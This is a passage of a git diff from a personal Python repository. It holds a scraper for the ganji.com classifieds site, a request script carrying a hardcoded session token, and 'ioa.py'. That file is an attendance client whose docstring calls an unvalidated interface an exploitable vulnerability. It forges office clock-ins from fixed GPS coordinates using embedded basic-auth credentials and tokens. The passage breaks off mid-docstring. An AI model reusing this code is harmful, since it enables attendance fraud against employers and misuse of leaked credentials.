'youxijiwx': '(262)', # 游戏机维修 + 'shumaxiangkuangwx': '(262)', # 数码相框维修 + 'qitashumaweixiu': '(262)', # 其他数码维修 + + 'zufang': '(224)', # 房屋租赁 + 'fang1': '(224)', # 房屋租赁 + + # 家政 + 'yuesao': '(124),(301)', # 月嫂 + 'baomu': '(125),(301)', # 保姆 + 'zhongdiangong': '(126),(301)', # 钟点工 + 'peihugong': '(129),(301)', # 护工 + 'shewaijiazheng': '(128)', # 涉外家政 + 'yuyingshi': '(130)', # 育婴师/育儿嫂 + 'jiazhengcuiru': '(127)', # 催乳师 + 'guanjia': '(301)', # 管家 + 'jujiayanglao': '(129),(301)', # 居家养老 + 'yanglaoyuan': '(129),(301)', # 养老院 + 'jiazhengqita': '(126),(301)', # 其他家政服务 + + # 保洁 + 'jiatingbaojie': '(131)', # 家庭保洁 + 'gongchengbaojie': '(132)', # 公司保洁 + 'kaihuangbaojie': '(131),(133)', # 家庭开荒保洁 + 'gongchengkaihuang': '(132),(133)', # 工程开荒保洁 + 'shangchangkaihuang': '(132),(133)', # 商场开荒保洁 + 'changfangkaihuang': '(132),(133)', # 厂房开荒保洁 + 'yiyuankaihuang': '(132),(133)', # 医院开荒保洁 + 'chuchongchuyi': '(134)', # 除虫除蚁 + 'kongqijinghua': '(182)', # 空气净化 + 'shicaifanxin': '(135)', # 石材翻新> + 'bizhiqingxi': '(135)', # 壁纸清洗 + 'gaokongqingxi': '(136)', # 高空清洗 + 'zhanhuibaojie': '(132)', # 展会保洁 + 'dengjuqingxi': '(137)', # 灯具清洗 + 'qitabaojie': '(131),(132),(200),(296)', # 其他保洁 + + # 搬家 + 'zhuzhaibanjia': '(106)', # 居民搬家 + 'jinbeixiaomianbanjia': '(335)', # 金杯/小面搬家 + 'bangongshibanjia': '(107)', # 办公室搬家 + 'qizhongdiaozhuang': '(110)', # 起重吊装 + 'changtubanjia': '(108)', # 长途搬家 + 'shebeibanqian': '(109)', # 设备搬迁> + 'duantulahuo': '(335)', # 短途拉货> + 'gangqinbanyun': '(111)', # 钢琴搬运 + 'chaizhuangjiaju': '(114)', # 家具拆装 + 'kongtiaochaizhuang': '(112)', # 空调移机 + 'guojibanjia': '(252)', # 国际搬家 + 'qitabanjia': '(106),(107)', # 其他搬家 + + # 装修 + 'jiatingzhuangxiu': '(100),(199),(197),(101)', # 家庭装修 + 'bangongshizhuangxiu': '(192),(193)', # 办公室装修 + 'dianmianzhuangxiu': '(195),(196)', # 店面装修 + 'jubuzhuangxiui': '(193),(197)', # 局部装修 + 'bieshuzhuangxiu': '(191)', # 别墅装修 + 'fangwugaizao': '(104)', # 房屋改造 + 'ershoufangfanxin': '(105)', # 二手房翻新 + 'zhuangshisheji': '(103)', # 装修设计 + 'shangyezhuangxiu': '(195),(102)', # 商业装修 + 'diping': '(198)', # 地坪 + 'qitazhuangxiu': '(103)', # 其他 + + # 家电维修 + 'bingxiangweixiu': '(141),(263)', # 冰箱维修 + 'dianshijiweixiu': '(141),(264)', # 电视机维修 + 'kongtiaoyiji': '(141),(294)', # 空调移机 + 'kongtiaoweixiu': '(141),(294)', # 空调维修 + 'kongtiaoqingxi': '(141),(294)', # 空调清洗 + 'xiyijiweixiu': '(265)', # 洗衣机维修 + 'reshuiqiweixiu': '(266)', # 热水器维修 + 'lengku': '(141)', # 冷库安装/维修 + 'yinshuijiweixiu': '(141)', # 饮水机维修 + 'bigualuweixiu': '(141)', # 壁挂炉维修 + 'jingshuijiweixiu': '(141)', # 净水机维修 + 'yinxiangweixiu': '(141),(262)', # 音响/功放维修 + 'diandongcheweixiu': '(141)', # 电动车维修 + 'taiyangnengweixiu': '(141)', # 太阳能维修 + 'xiaojiadianweixiu': '(141)', # 小家电维修 + 'chufangdianqiweixiu': '(141)', # 厨房电器维修 + 'zhongyangkongtiaoweixiu': '(141),(294)', # 中央空调维修 + 'qitajiadianweixiu': '(141)', # 其他 + + # 物流 + 'tongchengkuaidi': '(335)', # 同城快递 + 'guoneikuaidi': '(335)', # 国内快递 + 'guojikuaidi': '(335),(252)', # 国际快递 + 'xiaojianwuliu': '(335)', # 小件物流 + 'guoneiwuliu': '(335)', # 国内物流 + 'guojiwuliu': '(335),(252)', # 国际物流 + 'baoguan': '(335)', # 报关 + 'cangchu': '(335)', # 仓储 + 'huowuyunshu': '(335)', # 货物运输 + 'baocheyunshu': '(335)', # 包车运输 + 'huoyundaili': '(335)', # 货运代理 + 'tuoyun': '(335)', # 托运 + 'qitawuliu': '(335)', # 其他 + + # 房屋维修 + 'menchuangweixiu': '(143),(309)', # 门窗维修/安装 + 'fangshuibulou': '(310),(185)', # 防水补漏 + 'dianluweixiu': '(143)', # 电路维修/安装 + 'weiyujiejuwx': '(143)', # 卫浴洁具维修 + 'nuanqishuiguanwx': '(310),(185)', # 暖气水管维修/安装 + 'dengjuanzhuangwx': '(143)', # 灯具维修/安装 + 'shuiguanshuilongtouwx': '(310),(185)', # 水管/水龙头维修 + 'fenshuafangfu': '(311)', # 粉刷/防腐 + 'qitajiajuweixiu': '(143)', # 其他家居维修 + +} + + +city_map = { + 'anshan': 2103, # 鞍山 + 'anyang': 4105, # 安阳 + 'anqing': 3408, # 安庆 + 'ankang': 6109, # 安康 + 'akesu': 6529, # 阿克苏 + 'anshun': 5204, # 安顺 + 'aletai': 6543, # 阿勒泰 + 'alashan': 15, # 阿拉善 + 'aba': 5132, # 阿坝 + 'ali': 5425, # 阿里 + 'alaer': 6545, # 阿拉尔 + 'aomen': 82, # 澳门 + 'bj': 11, # 北京 + 'baoding': 1306, # 保定 + 'binzhou': 3716, # 滨州 + 'baotou': 1502, # 包头 + 'baoji': 6103, # 宝鸡 + 'benxi': 2105, # 本溪 + 'bengbu': 3403, # 蚌埠 + 'beihai': 4505, # 北海 + 'bayannaoer': 1508, # 巴彦淖尔 + 'baicheng': 2208, # 白城 + 'baishan': 2206, # 白山 + 'bozhou': 3416, # 亳州 + 'bazhong': 5119, # 巴中 + 'baiyin': 6204, # 白银 + 'baise': 4510, # 百色 + 'bijie': 5224, # 毕节 + 'bayinguoleng': 6528, # 巴音郭楞 + 'baoshan': 5305, # 保山 + 'boertala': 6527, # 博尔塔拉 + 'cd': 5101, # 成都 + 'cq': 50, # 重庆 + 'cs': 4301, # 长沙 + 'cc': 2201, # 长春 + 'changzhou': 3204, # 常州 + 'cangzhou': 1309, # 沧州 + 'chifeng': 1504, # 赤峰 + 'chengde': 1308, # 承德 + 'changde': 4307, # 常德 + 'changzhi': 1404, # 长治 + 'chenzhou': 4310, # 郴州 + 'chuzhou': 3411, # 滁州 + 'chaohu': 3414, # 巢湖 + 'chaozhou': 4451, # 潮州 + 'changji': 6523, # 昌吉 + 'chizhou': 3417, # 池州 + 'chuxiong': 5323, # 楚雄 + 'chongzuo': 4514, # 崇左 + 'changdu': 5421, # 昌都 + 'chaoyang': 2113, # 朝阳 + 'changshu': 3219, # 常熟 + 'cixi': 3302, # 慈溪 + 'dl': 2102, # 大连 + 'dg': 4419, # 东莞 + 'dezhou': 3714, # 德州 + 'dongying': 3705, # 东营 + 'daqing': 2306, # 大庆 + 'datong': 1402, # 大同 + 'dandong': 2106, # 丹东 + 'danzhou': 4605, # 儋州 + 'deyang': 5106, # 德阳 + 'dazhou': 5117, # 达州 + 'dali': 5329, # 大理 + 'daxinganling': 2327, # 大兴安岭 + 'dingxi': 6211, # 定西 + 'dehong': 5331, # 德宏 + 'diqing': 5334, # 迪庆 + 'eerduosi': 1506, # 鄂尔多斯 + 'enshi': 4228, # 恩施 + 'ezhou': 4207, # 鄂州 + 'fz': 3501, # 福州 + 'foshan': 4406, # 佛山 + 'fushun': 2104, # 抚顺 + 'fuyang': 3412, # 阜阳 + 'fuxin': 2109, # 阜新 + 'jxfuzhou': 3610, # 抚州 + 'fangchenggang': 4506, # 防城港 + 'gz': 4401, # 广州 + 'gy': 5201, # 贵阳 + 'gl': 4503, # 桂林 + 'ganzhou': 3607, # 赣州 + 'guangyuan': 5108, # 广元 + 'guangan': 5116, # 广安 + 'guigang': 4508, # 贵港 + 'guyuan': 6404, # 固原 + 'gannan': 6230, # 甘南 + 'ganzi': 5133, # 甘孜 + 'guoluo': 6326, # 果洛 + 'hz': 3301, # 杭州 + 'huizhou': 4413, # 惠州 + 'hrb': 2301, # 哈尔滨 + 'hf': 3401, # 合肥 + 'nmg': 1501, # 呼和浩特 + 'hn': 4601, # 海口 + 'handan': 1304, # 邯郸 + 'heze': 3717, # 菏泽 + 'hengshui': 1311, # 衡水 + 'huaian': 3208, # 淮安 + 'hengyang': 4304, # 衡阳 + 'huludao': 2114, # 葫芦岛 + 'huainan': 3404, # 淮南 + 'hanzhong': 6107, # 汉中 + 'huaihua': 4312, # 怀化 + 'huaibei': 3406, # 淮北 + 'huanggang': 4211, # 黄冈 + 'huzhou': 3305, # 湖州 + 'huangshi': 4202, # 黄石 + 'hulunbeier': 1507, # 呼伦贝尔 + 'heyuan': 4416, # 河源 + 'hebi': 4106, # 鹤壁 + 'hegang': 2304, # 鹤岗 + 'huangshan': 3410, # 黄山 + 'honghe': 53, # 红河 + 'hechi': 4512, # 河池 + 'hami': 6522, # 哈密 + 'heihe': 2311, # 黑河 + 'hezhou': 4511, # 贺州 + 'haixi': 6328, # 海西 + 'hetian': 6532, # 和田 + 'haibei': 6322, # 海北 + 'haidong': 6321, # 海东 + 'huangnan': 6323, # 黄南 + 'jn': 3701, # 济南 + 'jining': 3708, # 济宁 + 'jilin': 22, # 吉林 + 'jinzhou': 2107, # 锦州 + 'jinhua': 3307, # 金华 + 'jiaxing': 3304, # 嘉兴 + 'jiangmen': 4407, # 江门 + 'jingzhou': 4210, # 荆州 + 'jiaozuo': 4108, # 焦作 + 'jinzhong': 1407, # 晋中 + 'jiamusi': 2308, # 佳木斯 + 'jiujiang': 3604, # 九江 + 'jincheng': 1405, # 晋城 + 'jingmen': 4208, # 荆门 + 'jixi': 2303, # 鸡西 + 'jian': 3608, # 吉安 + 'jieyang': 4452, # 揭阳 + 'jingdezhen': 3602, # 景德镇 + 'jiyuan': 4118, # 济源 + 'jiuquan': 6209, # 酒泉 + 'jinchang': 6203, # 金昌 + 'jiayuguan': 6202, # 嘉峪关 + 'jiaozhou': 3702, # 胶州 + 'jimo': 3702, # 即墨 + 'km': 5301, # 昆明 + 'kaifeng': 4102, # 开封 + 'kashi': 6531, # 喀什 + 'kelamayi': 6502, # 克拉玛依 + 'kuerle': 15, # 库尔勒 + 'kezilesu': 15, # 克孜勒苏 + 'kunshan': 3218, # 昆山 + 'lz': 6201, # 兰州 + 'xz': 5401, # 拉萨 + 'langfang': 1310, # 廊坊 + 'linyi': 3713, # 临沂 + 'luoyang': 4103, # 洛阳 + 'liaocheng': 3715, # 聊城 + 'liuzhou': 4502, # 柳州 + 'lianyungang': 3207, # 连云港 + 'linfen': 1410, # 临汾 + 'luohe': 4111, # 漯河 + 'liaoyang': 2110, # 辽阳 + 'leshan': 5111, # 乐山 + 'luzhou': 5105, # 泸州 + 'luan': 3415, # 六安 + 'loudi': 4313, # 娄底 + 'laiwu': 3712, # 莱芜 + 'longyan': 3508, # 龙岩 + 'lvliang': 1411, # 吕梁 + 'lishui': 3311, # 丽水 + 'liangshan': 5134, # 凉山 + 'lijiang': 5307, # 丽江 + 'liupanshui': 5202, # 六盘水 + 'liaoyuan': 2204, # 辽源 + 'laibin': 4513, # 来宾 + 'lincang': 5309, # 临沧 + 'longnan': 6212, # 陇南 + 'linxia': 6229, # 临夏 + 'linzhi': 5426, # 林芝 + 'mianyang': 5107, # 绵阳 + 'mudanjiang': 2310, # 牡丹江 + 'maoming': 4409, # 茂名 + 'meizhou': 4414, # 梅州 + 'maanshan': 3405, # 马鞍山 + 'meishan': 5114, # 眉山 + 'nj': 3201, # 南京 + 'nb': 3302, # 宁波 + 'nn': 4501, # 南宁 + 'nc': 3601, # 南昌 + 'nantong': 3206, # 南通 + 'nanyang': 4113, # 南阳 + 'nanchong': 5113, # 南充 + 'neijiang': 5110, # 内江 + 'nanping': 3507, # 南平 + 'ningde': 3509, # 宁德 + 'nujiang': 5333, # 怒江 + 'naqu': 5424, # 那曲 + 'pingdingshan': 4104, # 平顶山 + 'puyang': 4109, # 濮阳 + 'panjin': 2111, # 盘锦 + 'putian': 3503, # 莆田 + 'panzhihua': 5104, # 攀枝花 + 'pingxiang': 3603, # 萍乡 + 'pingliang': 6208, # 平凉 + 'puer': 5311, # 普洱 + 'pixian': 510112, # 郫县 + 'qd': 3702, # 青岛 + 'qh': 4604, # 琼海 + 'qinhuangdao': 1303, # 秦皇岛 + 'quanzhou': 3505, # 泉州 + 'qiqihaer': 2302, # 齐齐哈尔 + 'qingyuan': 4418, # 清远 + 'qujing': 5303, # 曲靖 + 'quzhou': 3308, # 衢州 + 'qingyang': 6210, # 庆阳 + 'qitaihe': 2309, # 七台河 + 'qinzhou': 4507, # 钦州 + 'qianjiang': 4230, # 潜江 + 'qiandongnan': 5226, # 黔东南 + 'qiannan': 5227, # 黔南 + 'qianxinan': 5223, # 黔西南 + 'rizhao': 3711, # 日照 + 'rikaze': 5423, # 日喀则 + 'sh': 31, # 上海 + 'sz': 4403, # 深圳 + 'sy': 2101, # 沈阳 + 'sjz': 1301, # 石家庄 + 'su': 3205, # 苏州 + 'shantou': 4405, # 汕头 + 'shangqiu': 4114, # 商丘 + 'sanya': 4602, # 三亚 + 'suqian': 3213, # 宿迁 + 'shaoxing': 3306, # 绍兴 + 'shiyan': 4203, # 十堰 + 'siping': 2203, # 四平 + 'sanmenxia': 4112, # 三门峡 + 'shaoyang': 4305, # 邵阳 + 'shangrao': 3611, # 上饶 + 'suining': 5109, # 遂宁 + 'sanming': 3504, # 三明 + 'suihua': 2312, # 绥化 + 'shihezi': 6544, # 石河子 + 'ahsuzhou': 3413, # 宿州 + 'shaoguan': 4402, # 韶关 + 'songyuan': 2207, # 松原 + 'suizhou': 4213, # 随州 + 'shanwei': 4415, # 汕尾 + 'shuangyashan': 2305, # 双鸭山 + 'shuozhou': 1406, # 朔州 + 'shizuishan': 6402, # 石嘴山 + 'shangluo': 6110, # 商洛 + 'shennongjia': 4232, # 神农架 + 'shannan': 5422, # 山南 + 'shuangliu': 5101, # 双流 + 'tj': 12, # 天津 + 'ty': 1401, # 太原 + 'tangshan': 1302, # 唐山 + 'taian': 3709, # 泰安 + 'zjtaizhou': 3310, # 台州 + 'jstaizhou': 3212, # 泰州 + 'tieling': 2112, # 铁岭 + 'tongliao': 1505, # 通辽 + 'tonghua': 2205, # 通化 + 'tianshui': 6205, # 天水 + 'tongling': 3407, # 铜陵 + 'tongchuan': 6102, # 铜川 + 'tongren': 5222, # 铜仁 + 'tianmen': 4231, # 天门 + 'tacheng': 6542, # 塔城 + 'tulufan': 6521, # 吐鲁番 + 'tumushuke': 6546, # 图木舒克 + 'wh': 4201, # 武汉 + 'wx': 3202, # 无锡 + 'xj': 6501, # 乌鲁木齐 + 'wei': 3710, # 威海 + 'weifang': 3707, # 潍坊 + 'wenzhou': 3303, # 温州 + 'wuhu': 3402, # 芜湖 + 'weinan': 6105, # 渭南 + 'wuhai': 1503, # 乌海 + 'wuzhou': 4504, # 梧州 + 'wulanchabu': 1509, # 乌兰察布 + 'wuwei': 6206, # 武威 + 'wenshan': 5326, # 文山 + 'wuzhong': 6403, # 吴忠 + 'wujiaqu': 6547, # 五家渠 + 'wuzhishan': 4603, # 五指山 + 'xa': 6101, # 西安 + 'xm': 3502, # 厦门 + 'xn': 6301, # 西宁 + 'xuzhou': 3203, # 徐州 + 'xianyang': 6104, # 咸阳 + 'xingtai': 1305, # 邢台 + 'xiangyang': 4204, # 襄阳 + 'xinxiang': 4107, # 新乡 + 'xiangtan': 4303, # 湘潭 + 'xuchang': 4110, # 许昌 + 'xinyang': 4115, # 信阳 + 'xiaogan': 4209, # 孝感 + 'xinzhou': 1409, # 忻州 + 'xianning': 4212, # 咸宁 + 'xinyu': 3605, # 新余 + 'xuancheng': 3418, # 宣城 + 'xiantao': 4229, # 仙桃 + 'xilinguole': 15, # 锡林郭勒 + 'xiangxi': 4331, # 湘西 + 'xingan': 4503, # 兴安 + 'xishuangbanna': 5328, # 西双版纳 + 'xianggang': 81, # 香港 + 'yc': 6401, # 银川 + 'yichang': 4205, # 宜昌 + 'yantai': 3706, # 烟台 + 'yangzhou': 3210, # 扬州 + 'yancheng': 3209, # 盐城 + 'yingkou': 2108, # 营口 + 'yueyang': 4306, # 岳阳 + 'yuncheng': 1408, # 运城 + 'sxyulin': 6108, # 榆林 + 'yibin': 5115, # 宜宾 + 'yangquan': 1403, # 阳泉 + 'yanan': 6106, # 延安 + 'yiyang': 4309, # 益阳 + 'yongzhou': 4311, # 永州 + 'gxyulin': 4509, # 玉林 + 'jxyichun': 3609, # 宜春 + 'yangjiang': 4417, # 阳江 + 'yanbian': 2224, # 延边 + 'yuxi': 5304, # 玉溪 + 'yili': 6540, # 伊犁 + 'yunfu': 4453, # 云浮 + 'hljyichun': 2307, # 伊春 + 'yaan': 5118, # 雅安 + 'yingtan': 3606, # 鹰潭 + 'yushu': 6327, # 玉树 + 'yiwu': 3313, # 义乌 + 'zz': 4101, # 郑州 + 'zhuhai': 4404, # 珠海 + 'zibo': 3703, # 淄博 + 'zhongshan': 4420, # 中山 + 'zaozhuang': 3704, # 枣庄 + 'zhangjiakou': 1307, # 张家口 + 'zhuzhou': 4302, # 株洲 + 'zhenjiang': 3211, # 镇江 + 'zhoukou': 4116, # 周口 + 'zhanjiang': 4408, # 湛江 + 'zhumadian': 4117, # 驻马店 + 'zhaoqing': 4412, # 肇庆 + 'zigong': 5103, # 自贡 + 'zunyi': 5203, # 遵义 + 'zhangzhou': 3506, # 漳州 + 'zhoushan': 3309, # 舟山 + 'zhangye': 6207, # 张掖 + 'ziyang': 5120, # 资阳 + 'zhangjiajie': 4308, # 张家界 + 'zhaotong': 5306, # 昭通 + 'zhongwei': 6405, # 中卫 +} + + +def get_cate(): + """ + 获取分类 + :return: + """ + s.headers = header_cate + url = 'http://sh.ganji.com/huangye/' + html = s.get(url).text + doc = lxml.html.fromstring(html) + + dl = doc.xpath('//div[@class="s-class"]/dl') + # 形式一 + for item in dl: + # dt + cate_code = item.xpath('./dt/a/@href')[0].strip('/') + cate_name = item.xpath('./dt/a/text()')[0].strip() + print cate_code, cate_name + # dd + dd_list = item.xpath('./dd/a') + for dd in dd_list: + cate_code_small = dd.xpath('./@href')[0].strip('/') + cate_name_small = dd.xpath('./text()')[0].strip('') + print '\t', cate_code_small, cate_name_small + + # 形式二 + print 'cate_map = [' + for item in dl: + # dt + cate_code = item.xpath('./dt/a/@href')[0].strip('/') + cate_name = item.xpath('./dt/a/text()')[0].strip() + print '\t# %s' % cate_name + print '\t{' + print '\t\t\'code\': \'%s\',' % cate_code + print '\t\t\'name\': u\'%s\',' % cate_name + print '\t\t\'small\': [' + # dd + dd_list = item.xpath('./dd/a') + for dd in dd_list: + cate_code_small = dd.xpath('./@href')[0].strip('/') + cate_name_small = dd.xpath('./text()')[0].strip('') + print '\t\t\t{' + print '\t\t\t\t\'code\': \'%s\',' % cate_code_small + print '\t\t\t\t\'name\': u\'%s\',' % cate_name_small + print '\t\t\t\t\'id\': \'%s\',' % cate_map.get(cate_code_small, '') + print '\t\t\t},' + print '\t\t]' + print '\t},' + print ']' + + +def get_area_list(city_code, city_name, province='', district=''): + """ + 获取区域列表 + :param city_code: + :param city_name: + :param province: + :param district: + :return: + """ + url = 'http://%s.ganji.com/banjia/' % city_code + + header_area = { + 'Host': '%s.ganji.com' % city_code, + 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36' + } + + s.headers = header_area + + html = s.get(url).text + doc = lxml.html.fromstring(html) + link_list = doc.xpath('//dd[@class="posrelative w-area"]/a[contains(@class, "a-area")]') + area_list = [] + for link_item in link_list: + city_code_small = link_item.xpath('./@href')[0].strip().split('/')[-2] + city_name_small = link_item.xpath('./em/text()')[0].strip() + area_list.append((city_code_small, city_name_small)) + + return { + 'city_code': city_code, + 'city_name': city_name, + 'province': province, + 'district': district, + 'area_list': area_list, + } + + +def get_city(): + """ + 获取城市 + :return: + """ + s.headers = header_city + url = 'http://www.ganji.com/index.htm' + html = s.get(url).text + doc = lxml.html.fromstring(html) + dd_list = doc.xpath('//div[@class="all-city"]/dl/dd/a') + for dd in dd_list: + city_code = dd.xpath('./@href')[0].replace('http://', '').replace('.ganji.com/', '') + city_name = dd.xpath('./text()')[0].strip() + print city_code, city_name + + +def output_city_area(): + """ + 输出城市地区到文件 + :return: + """ + with open('city_area_gj.py', 'wb') as f: + + f.write("# encoding: utf-8\n\n") + + f.write('city_map = [\n') + + s.headers = header_city + url = 'http://www.ganji.com/index.htm' + html = s.get(url).text + doc = lxml.html.fromstring(html) + dd_list = doc.xpath('//div[@class="all-city"]/dl/dd/a') + for dd in dd_list: + city_code = dd.xpath('./@href')[0].replace('http://', '').replace('.ganji.com/', '') + city_name = dd.xpath('./text()')[0].strip() + print city_code, city_name + + city_info = get_area_list(city_code, city_name) + city_id = city_map.get(city_code) + f.write('\t# %s\n' % city_name.encode('utf-8')) + f.write('\t{\n') + f.write('\t\t\'code\': \'%s\',\n' % city_code) + f.write('\t\t\'name\': u\'%s\',\n' % city_name.encode('utf-8')) + f.write('\t\t\'id\': %s,\n' % city_id) + f.write('\t\t\'small\': [\n') + for area in city_info['area_list']: + f.write('\t\t\t{\n') + f.write('\t\t\t\t\'code\': \'%s\',\n' % area[0]) + f.write('\t\t\t\t\'name\': u\'%s\',\n' % area[1].encode('utf-8')) + f.write('\t\t\t\t\'id\': %s\n' % city_id) + f.write('\t\t\t},\n') + f.write('\t\t]\n') + f.write('\t},\n') + f.flush() + f.write(']') + + +class Main(object): + def __init__(self): + pass + + +if __name__ == '__main__': + # get_cate() + # get_city() + output_city_area() diff --git a/fuck/hongbaodaren.py b/fuck/hongbaodaren.py new file mode 100644 index 0000000..d897faf --- /dev/null +++ b/fuck/hongbaodaren.py @@ -0,0 +1,63 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: hongbaodaren.py +@time: 2018-03-20 16:52 +""" + +from __future__ import print_function +from __future__ import unicode_literals + +import time +import requests +import json + + +REQUESTS_TIME_OUT = (30, 30) + + +def _get_tc(): + tc = str('%13d' % (time.time() * 1000)) + return tc + + +s = requests.session() + + +headers = { + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_6 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 Mobile/15D100 Safari/604.1', + 'X-Requested-With': 'XMLHttpRequest', +} + +url = 'http://m.hongbaodaren.com/ajax/task/GetOnLineTask' +params = { + 'type': 'currenttask', + 'timmetamp': _get_tc(), +} + +cookies = { + # 'token': 'AD7932D8E813DA170E1B4C5F8759EAF5CF9A020119A2274678FBE3064B8B2B75BCFB5DD695C710F77E368E704CB6B717B3A6C51D09E2E84CB66C2AAF4E37CCB5CA43945271F0249BCED26A688047456171311700CC485A9583FFD8C1C58EAAAB6983D631C11885C0EA9FA637D2421B4D', + 'token': 'AD7932D8E813DA17D44ACD3676AD96E6F6AF4B3E456340CE6415B923898C2C74ABC5E18A4C010786C118021CB36638F91F1ACDCC68A532AE53E6B627182405A29938FCCA6340BB0A5887A846E90A8A27B86AB79D559AF635F9C9AE1166EA39167B0604EEB66D221F42317BF1842664DE', +} + +request_headers = headers.copy() +request_headers['Host'] = 'm.hongbaodaren.com' +request_headers['Referer'] = 'http://m.hongbaodaren.com/tasklist' + +request_cookie = cookies.copy() + +res = s.get( + url, + params=params, + headers=request_headers, + cookies=request_cookie, + timeout=REQUESTS_TIME_OUT, +) + +print(res.url) +print(res.status_code) +result = res.json() +print(json.dumps(result, indent=4, ensure_ascii=False)) diff --git a/fuck/ioa.py b/fuck/ioa.py new file mode 100644 index 0000000..e7cddfb --- /dev/null +++ b/fuck/ioa.py @@ -0,0 +1,275 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: ioa.py +@time: 2018-01-02 19:55 +""" + + +from __future__ import unicode_literals +from __future__ import print_function + +import json +import time +import requests +from base64 import b64decode +from requests.auth import HTTPBasicAuth + + +REQUESTS_TIME_OUT = (30, 30) + + +s = requests.session() + + +class IoaClient(object): + """ + 爱办公打卡神器(接口参数未校验,此漏洞可利用) + + 方式一(每次都要登录): + ioa_client = IoaClient( + username='13800000000', + password='123456', + ) + ioa_client.check_security_token() + + 方式二(token校验通过免登陆): + ioa_client = IoaClient( + username='13800000000', + password='123456', + security_token='MTM4MTg3MzI1OTNAYWNjb3VudGxvZ2luODY6MTUxNzU3MTU0Njg1ODpiOWJhYWJmNWMzZmZmZDhmMjZiYzFmMWU5MDc4MzdmOA', + staff_id='e9490f62c45d45278ffac841a6d892b8', # 员工编号 + org_id='40b30cfa9f2145b1810e02f953a5b27b', # 组织编号 + ) + ioa_client.check_security_token() + """ + headers = { + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_1 like Mac OS X) AppleWebKit/604.4.7 (KHTML, like Gecko) Mobile/15C153', + 'Host': 'i.ioa.cn', + 'Origin': 'http://i.ioa.cn', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/json;charset=UTF-8', + } + + auth_username = 'usermobile' + auth_password = 't8kevs1CpGwHB6v8' + + # 上海办公室坐标 + longitude = '121.516476' # 经度 + latitude = '31.311131' # 纬度 + place = '上海市 杨浦区 三门路36号' # 地址(百度坐标有偏移) + + login_status = False + + def __init__(self, username, password, security_token=None, staff_id=None, org_id=None): + self.username = username + self.password = password + self.security_token = security_token + self.staff_id = staff_id + self.org_id = org_id + + if (security_token or staff_id or org_id) and not (security_token and staff_id and org_id): + raise Exception('缺少参数'.encode('utf-8')) + + def check_security_token(self): + """ + 校验 security_token 是否过期 + :return: + """ + if not self.security_token: + return False + security_token_str = b64decode(self.security_token + '=' * (-len(self.security_token) % 4)) + print(security_token_str) + security_token_arr = security_token_str.split(':') + expiration_time = security_token_arr[1] + status = expiration_time > time.time()*1000 + print('check_security_token: %s' % status) + return status + + def login(self): + # TODO http 或 https (非电信不支持https? 待确认) + # 或者 不改协议,重启网络试试?dns问题? + url = 'http://i.ioa.cn/rs/m/security/login' + payload = { + "username": self.username, + "password": self.password, + "phoneZone": "86", + "accessSource": "ios" + } + request_headers = self.headers.copy() + base_auth = HTTPBasicAuth(self.auth_username, self.auth_password) + res = s.post(url, json=payload, auth=base_auth, headers=request_headers, timeout=REQUESTS_TIME_OUT) + if res.status_code == 200: + data = res.json() + print(json.dumps(data, indent=4, ensure_ascii=False)) + if data['resultCode'] != "0000": + # 登录失败 + print(data['msg']) + return False + + self.staff_id = data['data']['attributes']['staffId'] + self.org_id = data['data']['attributes']['orgId'] + self.security_token = data['data']['attributes']['securityToken'] + self.login_status = True + return True + else: + print(res.status_code) + print(res.content) + return False + + def get_statistics_by_day(self): + """ + 检查打卡状况 + + { + "resultCode": "0000", + "data": { + "dateTime": "8月27日 星期一", + "historyList": [{ + "clockHistoryId": "94827c514009429aa857094a798323eb", + "primaryOrgId": "40b30cfa9f2145b1810e02f953a5b27b", + "staffId": "d91d9f3fbc9744848894308e72cb6f4b", + "clockDate": 1535299200000, + "clockTime": "09:39", + "clockType": 1, + "remark": null, + "longitude": "121.516476", + "latitude": "31.311131", + "place": "上海市 杨浦区 三门路36号", + "signType": 0, + "createTime": 1535333971000, + "attIds": null, + "caseId": null + }], + "clock": null + }, + "msg": null + } + + { + "resultCode": "0000", + "data": { + "dateTime": "8月27日 星期一", + "historyList": [{ + "clockHistoryId": "94827c514009429aa857094a798323eb", + "primaryOrgId": "40b30cfa9f2145b1810e02f953a5b27b", + "staffId": "d91d9f3fbc9744848894308e72cb6f4b", + "clockDate": 1535299200000, + "clockTime": "09:39", + "clockType": 1, + "remark": null, + "longitude": "121.516476", + "latitude": "31.311131", + "place": "上海市 杨浦区 三门路36号", + "signType": 0, + "createTime": 1535333971000, + "attIds": null, + "caseId": null + }, { + "clockHistoryId": "f1051d4978784dbc9b6c426879fb8f0a", + "primaryOrgId": "40b30cfa9f2145b1810e02f953a5b27b", + "staffId": "d91d9f3fbc9744848894308e72cb6f4b", + "clockDate": 1535299200000, + "clockTime": "19:54", + "clockType": 1, + "remark": null, + "longitude": "121.516620", + "latitude": "31.311244", + "place": "上海市 杨浦区 三门路38-1号", + "signType": 0, + "createTime": 1535370881000, + "attIds": null, + "caseId": null + }], + "clock": null + }, + "msg": null + } + 错误结果: + { + "msg": "服务异常", + "resultCode": "1111", + "data": null + } + :return: + """ + url = 'http://i.ioa.cn/hr/h/clockJsonController/getStatisticsByDay' + params = { + 'currentDate': '', + 'staffId': self.staff_id, + } + request_headers = self.headers.copy() + request_headers['securityToken'] = self.security_token + request_headers['Referer'] = 'http://i.ioa.cn/hr/h5/html/attendanceSign' + res = s.get(url, params=params, headers=request_headers, timeout=REQUESTS_TIME_OUT) + data = res.json() + print(json.dumps(data, indent=4, ensure_ascii=False)) + + def fuck(self): + """ + 打卡 + + 正确结果: + { + "resultCode": "0000", + "data": { + "clockHistoryId": "b9bfa5c3e24a4a9f8b1407851f842c7b", + "primaryOrgId": "40b30cfa9f2145b1810e02f953a5b27b", + "staffId": "d91d9f3fbc9744848894308e72cb6f4b", + "clockDate": 1514895802029, + "clockTime": "20:23", + "clockType": 1, + "remark": null, + "longitude": "121.516476", + "latitude": "31.311131", + "place": "上海市 杨浦区 三门路36号", + "signType": 0, + "createTime": 1514895802088, + "attIds": null, + "caseId": null + }, + "msg": null + } + + 错误结果: + { 